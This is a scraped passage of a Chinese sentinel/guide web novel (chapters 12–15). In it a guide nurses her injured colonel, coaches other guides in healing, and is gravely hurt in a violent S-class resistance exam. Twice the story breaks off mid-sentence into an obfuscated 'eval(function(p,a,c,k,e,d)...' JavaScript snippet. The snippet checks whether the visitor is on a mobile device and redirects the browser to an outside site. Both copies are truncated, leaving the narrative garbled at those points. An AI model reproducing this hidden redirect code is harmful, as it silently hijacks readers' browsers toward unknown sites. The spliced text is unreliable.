这种新型催化剂的组成很快便被分析了出来,比之需要静脉注射的传统催化剂,它的感染门槛很低,几乎碰到创口就会渗透进身体,但与此同时效力也有限,通常是短期、烈性的,容易恢复。公会与科研院已经开始加班加点地研制对抗剂,否则所有前线的哨兵都会陷入巨大的危险。 大约五天后,韩奕已可以自主入睡。 顾小绒配合着医生远程操作的机器手对哨兵的伤口进行清创,取出沾满血污的纱布、清洗伤口,哨兵的恢复速度很快,那里看上去已经比最开始好太多了,之后是重新填入纱布、上药。 顾小绒感觉到韩奕长长的睫羽动了动,他被碰醒了,正不舒服地蹙着眉。 三个月形影不离的生活让顾小绒知道长官十分喜好干净,每天都会洗澡,这些天他几乎都泡在冷汗与血污里,当然十分难受。顾小绒只能用毛巾沾了温水一点点给上校擦洗身子,这时候的触碰已经不会再引起哨兵的疼痛了。 这是她第一次这样细致入微地触碰他的身体,流畅坚硬的肌肉轮廓上,是数不胜数、叠加累积的伤痕,有刀伤、剑伤、贯穿伤、子弹伤、烧伤……有的因为历时已久,只剩下一点点浅白色的痕迹。 她擦拭得很慢,动作极轻,像是害怕唤醒旧日的疼痛。 不知是不是擦洗过后上校确实舒服了一点,那只黑豹围着顾小绒的腿,用毛绒绒的脑袋朝着她蹭来蹭去。 顾小绒大汗淋漓地忙完这一切,她感到心脏连接到后背的地方一阵钻心的痛,好像是在战机上被上校推出去那时候撞伤了。 她缓了口气,平复了片刻,才能得空摸摸黑豹的头。大猫咪的瞳孔在晦暗的环境里睁得圆溜溜的,好像嫌弃不够似的立起身来,用爪子轻轻刨了下顾小绒的手。 …… 向导后知后觉地意识到它是在撒娇,韩奕可以自主睡眠以后她便没有再将他拉入精神图景,如今看起来至少大猫咪是想念那里了。 引流管内的血还需要每天清理,也需要和医生汇报出血量,在经历这些天的疗养后,韩奕的出血量已经越来越少,预计过不了多久就可以把引流管取下来。 顾小绒忙完这一切后才来得及做精神连接,她坐在病床前无奈地撸着黑豹的脑袋,将它与上校一起纳入了进去。 樱花树背后已是和煦温暖的白日,顾小绒的精神图景会随着对应的时间而变化,这样对于一直以来身处黑暗与禁锢中的哨兵也有调节生物钟的功能。韩奕仍旧是像之前几次那样侧卧睡着,哨兵快速愈合的身体需要大量的休息,只有在这里松软的草地上他才能这样轻松地睡着,没有绑缚、禁锢与痛苦。 顾小绒的眼神仔仔细细地描摹过韩奕浓黑的眉宇,哨兵面容英挺,侧卧时凌厉的线条投下大片的阴翳,柔和的唇与微阖的眼又中和了这种冷冽,他只有睡着的时候眉间才不会蹙得那么紧,眼睛也没有那样冷…… 微风轻起,卷起些微的落花与蒲公英落到他们身上。顾小绒随即脱下外套给哨兵盖上,没想到后者立即掀起了一角,闷声说了句:“热。” 好吧。 顾小绒只得看着远方的两个精神体打闹,她的毛绒团子做为小型鸟类完美地戳中了黑豹,也许是猫科动物的基因使然,黑豹一直在跑来跑去地追着那只知更鸟,有时候甚至会猝不及防地凌空腾飞扑倒它,把它按在爪子下玩来玩去、放跑了又捉回来。 “诶诶诶。”在黑豹某一次“不小心”将知更鸟含进嘴里以后,顾小绒终于坐不住了。 她把自己的精神体从黑豹的嘴里扒拉出来,可怜的团子被黑豹的口水浇了个湿透,还好黑豹是收着牙齿轻轻含着的,它看起来就是想和小鸟玩一玩。 毛绒团子哪里受过这样的委屈,挣扎着生气地飞到樱花树的顶端去了。 顾小绒原本以为自己终于可以清净一下,结果只一会儿的功夫,她便听到一阵急促的窸窸窣窣的声音——她竟然忘记了豹子是会爬树的! 这下好了,等她站起身来急着绕到树的另一侧时,黑豹已经飞身上去了。庞然大物在树干粗壮的枝桠里灵活地蹦来跳去,三两下就窜了老高,树梢被折腾得左摇右晃、地动山摇,花瓣如同倾泻的暴雨一般落下。白绒团子被激得飞了起来,正在上空歇斯底里地鸣叫,虽然它的叫声听起来也还是毫无威慑力。 “唉不是,你……”本着长官的精神体应该应忍尽忍的向导终于受不了了,她笨拙地抓上树干试图爬上去终止这场闹剧。 由于场面实在是过于难以控制,手忙脚乱的向导并没有注意到树下装睡的长官嘴角扬起了一丝微微的笑意。 历时整整一年,坚不可摧的维塞克城终于被攻破,北方军如同出鞘的利剑一般直取塞莱斯平原腹部,连同周边的卫星城也一并收入囊中。 现在他们拥有了艾泽洛瑞恩大陆最重要的交通要道、钢铁生产地。广阔的塞莱斯平原拥有罕有的黑色土地,自古以来就是整个大陆最重要的粮仓。这是一次极为重要的胜利,在这之后南方军失去了中部肥沃的平原,只能往东南部的海岸线退守。 韩奕与另外两位哨兵在十天后转出了禁制塔,去往军区医院的普通病房,当然出于尊重,医院还是给上校分了一个足够宽敞舒适的房间。公会的勋章也很快发了过来,没有什么仪式,简单直接地送到病房门口,蓝丝带勋章给韩奕,白丝带勋章给顾小绒。 顾小绒只看了那个闪着光的白丝带勋章一眼,便把它放进自己的箱子底了。她不觉得自己配得上这个勋章,这次战役里的每一个人,尤其是那两位牺牲的哨兵,都比她付出得多得多。 上校从一离开禁制塔就恢复办公了,即使只是在床上搭一个临时的桌子。因为禁制环又重新回到了上校的脖子上,顾小绒又被拴在了他的身边。 向导神情哀怨,觉得自己像个地缚灵,她甚至连想去探望下曼琳也无法做到,可是面对长官随时可能扫过来的视线,又必须调整好情绪和面部表情。 抱怨是只能压心底的,活也是要继续干的。 顾小绒开始事无巨细地叮嘱莉莎小心韩奕的餐食,哨兵才经历过催化剂的折磨,她实在是怕了。送来的食物基本都是些极其清淡又能保证营养的,还要柔软便于消化,比如鲜虾粥、牛腩粥、各种各样的粥和各种各样的汤饮…… 韩奕对餐饮的态度是来者不拒,只要是味道没有刺激到难以下咽,基本是有什么吃什么。之前在禁制塔的无菌病房输了十天的营养液,身体正是虚弱急待恢复的时候。顾小绒也是第一次这样照顾哨兵,摸不准现在这样的饮食安排合不合适,又开始陷入内耗。 莉莎看着快速成长起来的向导,眉梢眼角都带着慈爱的姨母笑。 起先,顾小绒还做了一些心理建设,才小心翼翼问上校需不需要洗头。 她原本觉得有些冒昧,毕竟上校是这样有界限感的人,结果没想到韩奕却一口答应了下来。向导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055851|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便去打了热水,在几乎微微发抖的紧张里,轻轻触摸到上校仰躺的头。 上校的黑发均匀地散落在热水里,之前头上所受的伤口已经结了一层薄薄的血痂,顾小绒很小心地绕过那里轻轻摩挲着上校的头皮。他的头发乌黑而浓密,被水浸透后又如同丝线一般柔软,和水纹一起折射出波光。顾小绒轻轻地从后脑按摩到太阳穴,上校的眼睛眯了起来,胸膛缓缓起伏,看上去十分舒服。 在换了几次水、洗干净血和泡沫后,她感觉上校已经快睡着了。 医院给的吹风机是和公会一样完全静音的,吹干的速度也很快,于是在快速的收尾之后,一直忙于工作的上校终于不自觉地进入了片刻的小憩。 穆承安在远远看到病房里这一幕后,有些后悔自己来的不是时候,他索性就在外面等了会儿。反正之后这个评估多半就是走个过场,果不其然,这过场也只走了半个小时,现在最后的禁制也解除了。 目前除了韩奕仍旧需要佩戴禁制环以外,他们不再有任何限制。 楚飞是第一个过来探望的,小伙子虽然平时摸鱼划水,但对于一手把自己带出来的恩师还是很有感情。 病房里,年轻哨兵与师长两两相望,互相都有那么一丝后怕。好在韩奕直觉敏锐,不然当时在现场的如果是楚飞,那一整个战机的人都别想活下来了。 周烨没来,也能理解,他们俩向来关系不好,在三个月的观察期内勉强达到精神力稳定已经是极限了。平日里都是各走各的尽量互不联系,能不要出现在对方的视线里就尽量不要。 现在公会将所有前线执行任务的哨兵与向导都召回了基地,在有效的对抗剂研制出来之前,北方不准备再做过多行动。维塞克城的攻破也给他们留下了足够的修整空间,南方军在这重大挫败之后一时半会儿难以翻身。这些年来,科研院其实也一直在研究对抗剂,甚至在治疗狂化哨兵的领域都有所突破,这次的新型催化剂也不过是微调一下,只需足够的时间调整好药效与副作用,就可以投入使用。 这一时半会儿,基地里全是召回的向导与哨兵,可以说人从来没有聚得这么齐整过。 “老师,你知道南方军多恨你吗?”楚飞比了一个夸张的数字。 “这个数?”顾小绒猜。 “还要多三个零。”楚飞摇摇头:“现在谁要是可以暗杀老师就可以后半生财富自由。” “要不你试试?”韩奕皮笑肉不笑。 “啊那个……我还要去看望下曼琳……”年轻哨兵一个趔趄后退。 在他快速滑到门口准备溜之大吉的时候,那扇门却被突如其来的敲响了,要不怎么说冤家路窄,门一开外面站着的竟然是周烨,楚飞被上校吓白的脸都要变成青色了。 周烨有些意外地看着自家哨兵,但仔细想想似乎又在意料之中,于是他微蹙了眉,这个神情是典型的不耐烦却还保留了一丝仅存的修养。 向导先是对上校行了军礼,接着将一纸文书递给了顾小绒:“三天后,公会希望开一个向导会议,需要汇报此次的作战情况,主要探讨精神力对哨兵受创后的修复。” “啊好的。”顾小绒接过了文件,里面十分详细的列着各种需要填写的表格与论述。 “沈骁上校希望中尉你重点汇报,还请多做准备。”周烨看上去一副公事公办的样子,却还是好心提点了一下。 “我?”顾小绒有点懵:“为什么?” 周烨注意到身后看似不经意实则听得很认真的楚飞,顿了片刻:“这次的哨兵受创恢复你做的最好。”他又组织了一下措辞:“我们大多都是攻击型向导,所以在修复这一块上,还希望你可以多传授一些经验。” “好…好的……”顾小绒愕然。 “不过,还有件事我想以私人的名义请求你帮个忙。”这话竟然是从周烨嘴里说出来的,连韩奕都顿了下正在批阅文件的笔,向导的面容仍是冷峻疏离,语气却已足够和缓。 “程浩的哨兵恢复得不是很理想。”只听周烨开口:“他不想到时候开会挨骂,可以麻烦你帮忙看看情况吗?” 顾小绒迅速意识到那应该就是除了韩奕与曼琳之外活下来的第三个哨兵,她立即点了点头。 13. 第十三章 在实际作战的情况下,攻击型向导的生存概率要高出很多、他们体能更强、更能跟得上哨兵,久而久之就成为了主体。 可是短板也是显而易见的,比如现在。 因为存活的三位哨兵都佩戴着禁制环,他们的向导也都不能离开他们身边,顾小绒只能与他们开了一个简短的视频会议。 最先接通的是诺兰,他已经把曼琳安顿好了,为了怕吵到她拉好了帘子,与顾小绒互相寒暄了几句后名叫程浩的向导才第二个接通视频。几乎是在看到他的第一眼,顾小绒就想起了他是谁,好家伙,等等…… 顾小绒用余光扫了眼身旁抱臂的周烨,忽然想起来了,这不就是第一次实战训练时候和周烨一起围攻她的那个向导吗?怪不得眼下这奇异的压迫感似曾相识。 顾小绒的额角流下一滴冷汗,她向来有些脸盲,实战训练的时候大家也都带着护目镜和防护面罩,她也看不清谁是谁,能认出这位向导主要还是熟悉的气质与精神力。 还没有开口打招呼呢,程浩的哨兵就发出了一声隐忍的呜咽,这熟悉的叫声…… 啊这不是那个被韩奕掰折了胳膊、在地上痛得嗷嗷叫的那位吗,看来他是真的很怕痛……随后她知道了,这位哨兵的名字叫正羽。 好吧,正羽怕疼,顾小绒把人认全了。 程浩在听到自家哨兵的哀嚎声后扶了下额头,看起来十分烦躁,这位攻击型向导长着一张可爱的娃娃脸,粗粗的眉毛配上圆圆的眼睛,看起来完全是一副15、6岁的少年模样,但实际上他的年纪已经24了。程浩的神情很是严肃,他本人的气质和那张可爱的脸完全不搭配。 既然对方哨兵都这样了,顾小绒便问:“有用过镇痛药物吗?” “昨天半夜架不住他,才打了一管。”程浩蹙着眉嫌弃地看了自家哨兵一眼。 “那现在基本是精神上有些痛苦?” “应该是吧……” 这样挤牙膏式的回答艰难地进行了五分钟,顾小绒叹了口气打算直入主题:“现在你开始慢慢释放向导素,要慢一点,让你的哨兵适应。” 程浩露出了有点为难的神色:“我的向导素是硝烟味,你确定?” “噗……”一旁围观的楚飞绷不住了,被周烨杀人般的眼神狠狠一瞪,又赶紧憋了回去。 “他如果不是很喜欢的话,就稍微淡一点,然后慢一点……”顾小绒没有被影响,仍旧认真仔细地说:“这主要是为了精神连接做铺垫,要观察哨兵的状态。” “现在释放你的精神力,分成丝线的样子,细一点,软一点……不不,不是这样对接,轻一点……” 一旁的周烨竟然从怀里掏出了一个笔记本,开始认认真真地记录,他倒也没什么可遮掩的,他们攻击型向导在这方面本来就短板,该学习就学习。 看得出来这样过于细致的操作让程浩直冒冷汗,但出于一个向导的职业素养,他还是按照顾小绒的要求,把流程、速度与细节都做了。整个过程双方都很专注,以至于顾小绒甚至透过显示屏看到了程浩的精神体,那是一只胖嘟嘟凶巴巴的兔狲,一直在旁边来来回回地焦躁踱步。 好嘛,精神体和正主看上去很像啊…… 而那位哨兵的精神体——一只眉清目秀的哈士奇正委委屈屈地蜷缩在墙的角落,看起来很怕那只兔狲的样子。 “先把你的精神体召回去,你的哨兵不是很舒服。”顾小绒正色说。 “嗯好。”程浩照做,他的眉拧得更紧了。 “要时刻关注哨兵的状态,他的身体状态、精神状态还有情绪。”顾小绒说着:“没有固定可供参考的参数,需要根据你与哨兵彼此间的状态调整……” “现在的核心在于剥离外界的刺激,让哨兵的精神归于平静与稳定。” 最后好不容易进入到精神图景,哨兵终于安静了下来,不一会儿便传来了均匀的呼声。 其实程浩的过程与她本人和韩奕对接的过程多有不同,比如程浩的哨兵惧怕他的精神体,也不太能接受他的向导素味道等等,顾小绒让程浩将镜头对准哨兵,一边观察他的反应一边给出了治疗思路。果然,在一系列细节调整之后,效果显著。 “小绒果然很厉害。”诺兰由衷赞扬道。 “多谢你帮忙。”程浩也道了谢。 “我们想邀请你加入我们向导的交流群。”周烨已经写完了笔记,他的字迹工整漂亮、笔锋遒劲,说完后便抬头望着顾小绒。 “是我们私下的群,沈骁上校不在。”诺兰赶紧补充道。 “好啊……”顾小绒意识到自己被大家接受了,心底的快乐像是爆炸的烟火,只是碍于韩奕就在身侧,她过于灿烂的笑意才刚刚浮现就又憋了回去。 有了自己和程浩两个案例,再加上与诺兰的充分交流,向导会议上顾小绒的演讲十分流畅,数据详实。 没有空洞废话,唯有根据具体案例实际解析。这次被新型催化剂感染的哨兵刚好涵盖了三种不同的种类:S级哨兵(韩奕)、A级男性哨兵(正羽)与A级女性哨兵(曼琳),这刚好是中央公会绝大多数的哨兵类型。 从不同级数来看,S级敏感度最高、受创最深、失控概率最大。从不同性别来看,女性哨兵确实展现出了巨大的忍耐力与抗药性。曼琳从感染以来就是最为可控的一个,她几乎是自始至终没有出现攻击行为,只是原地停住,在后来也是最快速恢复和清醒的…… 当然他们现在能分析的样本只有这三个,精神疗愈这一块顾小绒也将三个具体案例重复了一次,强调了重点。 此次的会议除了沈骁上校、中央公会全体向导以外,莱安上将与皇家公会的向导们也一起旁听。 掌声雷动里,顾小绒看了眼沈骁和莱安的神情,沈骁眉梢眼角全是笑意,而素来挑剔的莱安也只是挑了挑眉。 她知道自己真正意义上的“首秀”算是圆满完成了,心口还是偶尔痛得发紧,她不甚在意地揉了揉。 等到韩奕搬出医院,回到办公室工作的第一天,沈骁便登门造访,夸了顾小绒整整五分钟。 埋在文件堆里的某哨兵总负责人没有答话,直到对方讲完才淡淡开口:“抵抗训练考核详情弄完了吗?” 到底是多年战友,沈骁对韩奕这番反应早就习以为常,他将带来的一沓文件放到了对方面前:“呐在这里,你再看看,可以的话就直接发吧。” “行。”韩奕没有抬眼,伸手把文件朝自己挪了挪算是回应。 抵抗训练……这个可怕的名字被顾小绒敏锐地捕捉到,她被一瞬间拽回了那段满身淤青的日子。 仿佛是感应到了她的反应一般,韩奕忽然抬起头,那双黑曜石般的眼睛霎时将向导捉住:“一个月后,全体哨兵与向导重新进行抵抗训练考评。” A级哨兵与向导的合格分数为80,控制哨兵时间在200秒以内,补考次数为2次。 S级哨兵与向导的合格分数为40,控制哨兵时间在500秒以内,补考次数……看情况。 面对南方军启用生化攻击的现状,除了针对催化剂的对抗剂需要加班加点地研制出来以外,向导对哨兵的控制能力也必须提升。这次的考评要求比之前的任何一次都要严苛,在之前A级哨兵的控制时间怎么也有六七分钟,而S级更是没有限制时间,只要能控制住就行了……现在这样搞,谁能考得过? 两位长官就这样云淡风轻地掌握了所有人的生死,顾小绒一脸绝望。 “S级补考就暂定三次吧,实在不行就再说。”似乎也有所预感,沈骁出办公室的时候补了一句。 做为天选之子,在又是一个月筋疲力竭的训练后,顾小绒被拖到了S级哨兵的考核场所。 S级哨兵的考评与A级是分开的,这边危险等级更高,训练场都是加强版的,用来保证审判员和考核员的安全。顾小绒入场的时候注意到旁边还有好几位负责卫生的清洁人员,身穿白衣的医护人员也已就位,担架被整齐地摆放在入口的大厅位置。 整个中央公会目前拥有的S级哨兵有4位,顾小绒有些被满屋的后勤与医疗人员震惊,她数了数担架,确实刚好是8个。 用作考核的训练场地是一个巨大的白色圆形内室,乍一看有些像小型、文明版的古角斗场,透明的防弹加固玻璃将中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周烨也释放出了自己的精神体,那也是一只大型的猫科动物。顾小绒仔细辨别了一下,这才认出来那是一只体态修长的猞猁,它的耳朵上长有一撮尖尖的毛发,平添了一丝疏离与优雅,如同它的主人那般。 在考核开始的那一瞬间,两只猛兽爆发出一阵咆哮与嘶鸣,二人碰面便是重拳,招招都带血。 骨与骨互相碰撞、撕裂开血肉。 周烨是强大到可以与A级哨兵单挑的向导,但是面对力量呈几何级递增的S级还是有些吃力,顾小绒能看到他在竭力对楚飞进行精神攻击,但似乎因为两人的精神连接不深,造成的伤害没能太多地控制住哨兵。 S级哨兵的速度是以0.1秒来计算的,几乎每一个没有控制住的瞬间都可能是生死一线。 迫不得已,周烨只能硬扛,他的摆拳也狠狠地击中了对面,奈何此时的楚飞几乎已经成为了一头无可撼动的野兽。周烨这般凌厉的拳风直冲面门,也没有让他有一丝半点的受创,而哨兵的速度与力量又是何其可怕,不过是眨眼之间楚飞便一把捏住了周烨回撤的双拳,抬手就是一个曲臂肘击。 向导被硬生生制住了双手,紧接着又被哨兵坚硬有如钢铁的手肘重创头部。换做旁人这一下就可以直接倒地了,但周烨到底是周烨,他一个侧身扭转挣脱开哨兵的钳制,立即试图拔出腰间的电-击枪—— 可是他拉出的这段距离恰好是哨兵的腿部攻击范围,楚飞是韩奕一手带出来的,他与他的老师一样最擅长腿攻。刹那间残影一闪而过,电-击枪已经飞了出去,楚飞的这一记鞭腿漂亮、狠辣、控制精准,甚至有那么一点秀的味道。 在视线尚且没有捕捉到电-击枪的片刻间隙,哨兵已是飞身一记高位侧踢,巨大的力度将空气撕裂出可怖的声响。周烨一个疾速闪身堪堪避过,但还是被踢到了右侧的肩膀,只听“咔擦”一声清脆的声响,向导的右臂很明显地偏移了位置。 此时周烨贴地翻滚,单膝抱臂跪地。 见向导受伤,审判员的手已经放在了桌前的按钮上,现在的时间已经指向392秒,如无意外周烨已经是全场坚持得最久的向导,哨兵也停止了攻击。 可是下一幕,让顾小绒与全场瞠目结舌的场景发生了:周烨竟然硬是强忍疼痛,将自己的右臂狠狠推了回去。 14. 第十四章 整个过程中周烨都没有发出一丝声响,他刚刚被击伤了头部,鲜血流了满脸,此时牙关紧咬、脸色苍白,在剧烈的颤抖中,冷汗从湿透的发丝淋淋漓漓地落下,那只脱臼的右臂就这样被硬生生地推了回去。 随之而来的,是向导几乎爆发到极限的精神力冲击,力量大到距离如此遥远的顾小绒都感到一阵嗡鸣。 周烨刚刚的贴地翻滚靠近了被踢飞的电-击枪,楚飞被这一波强大的精神攻击袭击,只感觉四肢一沉、头痛欲裂,而周烨趁着这个间隙迅速抄起了电-击枪,随后在满场的惊呼中扑向了哨兵—— 二人再次血战到了一起,强力的精神攻击像是电钻一般穿刺过哨兵的大脑,周烨将楚飞狠狠压在身下,再次举起铁拳——这一次是带着电-击枪——对准了楚飞的头部。 这几乎是一整场考核里向导距离胜利最近的时刻。 楚飞的眼睛几乎快要迸射出火焰,他在竭尽全力地忍受着精神剧痛,身体仿佛被绑缚一般无法挣动,但哨兵强大的意念仍旧迫使他举起了手臂格挡——他被电击狠狠击中,身体陷入剧烈的疼痛与痉挛。 周烨的攻击如同暴风骤雨一般落下,可他无论如何也无法驱使哨兵松开那双严密格挡住头的手臂。 在这漫长惨烈的对峙里,周烨爆发的力量逐渐耗尽。楚飞艰难地缓了过来,他的身体一旦恢复了片刻知觉便能行动,在尖锐的剧痛里,一记竭尽全力的膝顶几乎是下意识的反应。 周烨已耗尽了力量,被哨兵猝不及防地挣脱,那一脚狠狠顶在了他的腹部,他的身体被直直踢飞了出去。紧接着哨兵飞身而上,一记擒拿将向导锁死。 电-击枪眼睁睁从脱力的指缝间落下,周烨闭上眼,一大口滚烫的鲜血从口中喷出。 警报声急促地响起,审判员拼命拍着按钮,士兵们立即入场,怔愣在原地的哨兵这才后知后觉地松开钳制向导的手。他自己的身体也在剧烈地痛着,双手无法控制力道一般地发着抖。 他一松手,周烨便砰的一声倒在了地上。 “周……周烨……”年轻哨兵这才如梦方醒一般俯身前扑,想要抱起昏迷在血泊里的向导。 场馆内一片哗然、警铃大作,士兵即刻入场,麻醉枪毫不留情地射到了楚飞身上,力竭的哨兵无可奈何地被控制住。医护人员赶紧进场,将受伤的向导推上单架,地上与玻璃墙上四处都是迸射的血,比之前的每一场都更惨烈。 观众席上,审判员与沈骁交换了一个眼神,他们的表情都有些凝重。在漫长的六分钟清理之后,考评继续到了最后一组哨兵与向导—— 顾小绒与韩奕分别从左右两边走进场地,向导的大脑只剩一片空白,这里什么都没有,没有可供躲藏的狭小空间,也没有可以逃避的战略纵深,这和直接把鸟扔进笼子让豹子吃掉有什么区别…… 浓烈的血腥味混合着消毒水的气息,充满在封闭的训练场里,即使开了十足的空气置换也萦绕不散。 顾小绒的脑海里满是周烨刚才浴血战斗的模样,起先她并不明白为什么周烨和楚飞的精神匹配度这样低,公会还把他们俩分到一起,现在她明白了。 所谓S级哨兵,即使是还在A级的时候便会展露出他的潜质。而强大如周烨,是阻拦这头恐怖野兽的最后城墙。周烨阻拦了楚飞足足513秒,即使最后失败,也仍旧是整个中央公会向导们无法逾越的极限。他舍弃生命的战斗,在真正危险的情况下不知能保全多少人的性命。 周烨的身影残破带血,却视死如归、不可摧折,像是烙印一般深深铭刻在了顾小绒心中。 这就是向导存在的意义。 韩奕的眼神冷了下来,雪松味仿佛夹杂着冰雪。哨兵今天的眼神不如往日那般纯粹,曾经每次进入战斗状态时,韩奕都几乎没有任何杂念,可今天他的向导状态起伏太大,他不得不分神。 直到考核铃声开始之前,顾小绒的眼神都十分空洞,她正对着自己,却好像在看着别的地方。 最后的铃声响起,哨兵不得不出手,他选择的是最常规的出手方式、这是他平时与向导练习最多的姿势。 顾小绒确实对哨兵的此番进攻形成了身体记忆,她快速的一矮身躲过,直接侧翻出去试图拿出腰间的电-击枪。她的精神力在同时狠狠地刺向韩奕,他们彼此之间的连接足够深、因而足够痛,之前无数次的训练已将她的精神攻击强度拉到了极值。 哨兵的身体被一股巨大的重量狠狠压住,他对向导的此番的攻击强度与策略都很满意,但只不过是瞬间的停滞,哨兵便挣脱了开来。韩奕有着对身体的极致控制力,即使在千斤压顶、手足麻痹的剧痛里,动作也不过是放缓了一点点—— 顾小绒抽到一半的电-击枪被反方向摔飞了出去,落到了韩奕身后,她的手在刚才被他的一记鞭腿扫中,痛得仿如断裂。 来不及思索,在众目睽睽下、在韩奕的腿还横扫在半空的那一瞬,顾小绒一个贴地翻滚从哨兵的胯-下钻了过去—— 她来不及思考四周这无死角、高清的直播是不是足够让自己社会性死亡,她满脑子只想着电-击枪,这是她此时此刻能活得久一点的唯一指望。 突如其来的动作让哨兵有些意外,他很快便调转方向疾速跟上,此时的顾小绒已扑倒在地上,用还有知觉的左手紧紧握住了电-击枪。她感觉到哨兵的速度比平日里慢了些,似乎在斟酌应该用什么攻击方式,最后他还是选择收腿,用双手进行擒拿。 手腕被死死扣住,又是熟悉的姿势。 向导拼命挣扎,她将精神力拧成刀、剑去劈砍他、拧成鞭子抽打他、拧成电钻朝着他的太阳穴钻。哨兵半压在她的身上,腿部没有防御动作,于是她几乎是拼掉性命地去踢他的腹部,尽管那和踢在一座钢板上没有太大区别。 她的踢踹没有任何力气,因为她实在太痛了,刚刚受伤的右手此时正被哨兵巨大的手掌紧紧扣住,稍一施力骨骼碎裂的声音便响了起来。顾小绒忍受不住这过于尖锐的剧痛,为了不让自己大庭广众地哭喊出声,她绝望地一口咬了过去。 她也看不见自己咬的是哪里,哨兵的身体真硬,她感觉下颌几乎快要崩碎了,牙齿不过浅浅地尝到了一点点血的味道。随后她便被一股巨力猛地摔了出去,重重砸到了地上,心口的剧痛终于冲击到了顶峰,她承受不住地张开嘴,一口滚烫的鲜血喷涌而出。 太好了……终于没有那么痛了。 向导的眼前只有一片红色的血雾,还好她没有听到审判员按动按钮的声音,她不想以这样丢脸的姿态下场。 拜托了…… 向导血红的视线跌跌撞撞地瞄着角落里的电-击枪,她拼劲最后的力气爬了过去。 坚持下去……她呢喃着,心头那股火焰快要将她灼烧成灰烬。被弄伤的右手狼狈地蜷缩着,向导爬得缓慢,血大口大口、不受控制地喷涌出来拖行在身后,像是一道定格般的红色彗星的长尾。 终于,在左手搭上电-击枪的那一刻,她的意志与身体一道碎裂,世界天崩地裂地塌陷下来。 截止到目前,所有S级哨兵与向导的抵抗训练考核都已结束,没有一位向导成功,成功率很遗憾地指向了0%。 毕竟相较于S级哨兵,S级向导实在是太过稀有,本纪元唯一一位S级向导的出现也是20年前,早已退役。能被选出来与S级哨兵匹配的向导虽然是A级,但也是A级里最出类拔萃的几位。 公会大厅里一片鸦雀无声,三面环绕的巨屏刚刚实时转播完最后的画面,没能去现场的A级哨兵与向导们正人山人海地围聚在大屏周围。他们沉默地看着顾小绒最后的爬行,她花费了整整6秒的时间才够到电-击枪,按照S级哨兵0.1秒的速度,刚刚那段时间已足够哨兵杀她60次。 为什么审判员没有按铃呢,在向导吐着鲜血爬行时,哨兵的头十分明显地朝着裁判席偏了偏。 虽然如此狼狈、如此不堪,但这也是对利刃以命相抵的刀鞘最真实的模样,这就是向导所背负的责任与命运。 审判员给与了她最后的尊重。 曼琳低垂着头,女哨兵看上去神色凝重,她一把推开眼前拥堵的其他哨兵:“我们走。” 诺兰赶紧跟了上去,和他们一道赶过去的还有程浩和正羽,以及一些有朋友在刚刚那场考核中的人。给S级哨兵配备的都 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按照公会严格的流程,上一次执行完任务回来后,顾小绒应该已经做了完善的身体检查,难道还有哪里没有恢复好吗? 韩奕的身形沉默地隐匿在阴影里,看不清面容。 曼琳很清楚老师不是楚飞那样的毛头小子,他对力量的控制极其精确,在之前近乎两个月的抵抗训练里甚至都没有让顾小绒破皮,这种超过自己掌控的无力与恐怖感,她自己也体会过…… 诺兰、程浩与正羽此时也都赶到了,看到现在这样的场景,没有一个人敢上前。 手术室内的灯终于熄灭了,门被打开,先送出来的是周烨。 他伤得最重,抢救也很久,楚飞一个趔趄想上前去,被曼琳一把拦住。女哨兵的手不动分毫,那双透亮的绿色眸子低沉地扫过自己冒冒失失的小师弟:“回去吧。”只听她这样说。 楚飞抬起头来,他眼睛红红的,面容全是担心和不解。 “你先回去吧,这里有我和曼琳。”诺兰也上前来,一边按住楚飞的肩膀,一边给自家哨兵使眼色。 曼琳不为所动:“周烨肯定是不想见到你的,你还是先回避比较好。” ……得,气氛眼睁睁落到冰点。 程浩上前来推着周烨的床回了病房,中央公会的攻击型向导里,属他和周烨关系最好,两人经常一起出任务。他的哨兵本来是专程想来感激顾小绒的,要不是她,自己还不知道要被自己的倒霉向导折磨多久,但是眼下这样的情况…… 娃娃脸向导只瞥了一眼韩奕的样子,便眼疾手快地拉着自家哨兵走了。 久经沙场磨炼出来的直觉告诉他,现在绝不是可以上前打扰的时候,现在对方这个模样只怕连曼琳都不敢上去,他们别去触这个霉头。 直到周烨推出来半小时后,顾小绒才送了出来,连轴转的医生十分没好气地把检查结果拍在了韩奕的胸口,也懒得管对方是什么军衔,连珠炮似的一顿:“内出血、胸骨、右手骨裂,先输液观察三天,血止不住就做手术,听明白了就赶紧回病房。”说完便挥手赶人,后面排着队处理的重伤向导还有好几个。 顾小绒昏迷的时候左手一直牢牢拽着电-击枪,四个医护人员轮流上阵才费劲地把她的手扒开,在上面扎好留置针。 韩奕默然跟在顾小绒的病床旁,女孩小小一只躺在偌大的床上,整个人都要陷在里面了。哨兵余光一瞥看到女孩的脚尖露了一点出来,看上去苍白纤细,指甲圆润透明,他伸手去将被角掖好,她的脚尖柔软而冰凉。 沈骁保持着大约五米的距离跟在后面,顾小绒此时的启动器在他手里,在顾小绒失去行动力的这段时间他只能代为履职,不过他十分明智地尽量降低了自己的存在感。 黑豹焦躁地踱着步,守卫着它的向导,好像无法容忍任何人靠近。 窗外的天色变得晦暗,暴雨夹杂着冰雪凛冽地抽打在建筑外体上,加上病床滚动的轮轴,就是寂然之下唯一的声音。 即使护士们是普通人,也感觉到了上校的低气压,在把昏迷的向导安顿好后立即离开了。门被不轻不重地盖上,韩奕将自己与向导关在了里面。 15. 第十五章 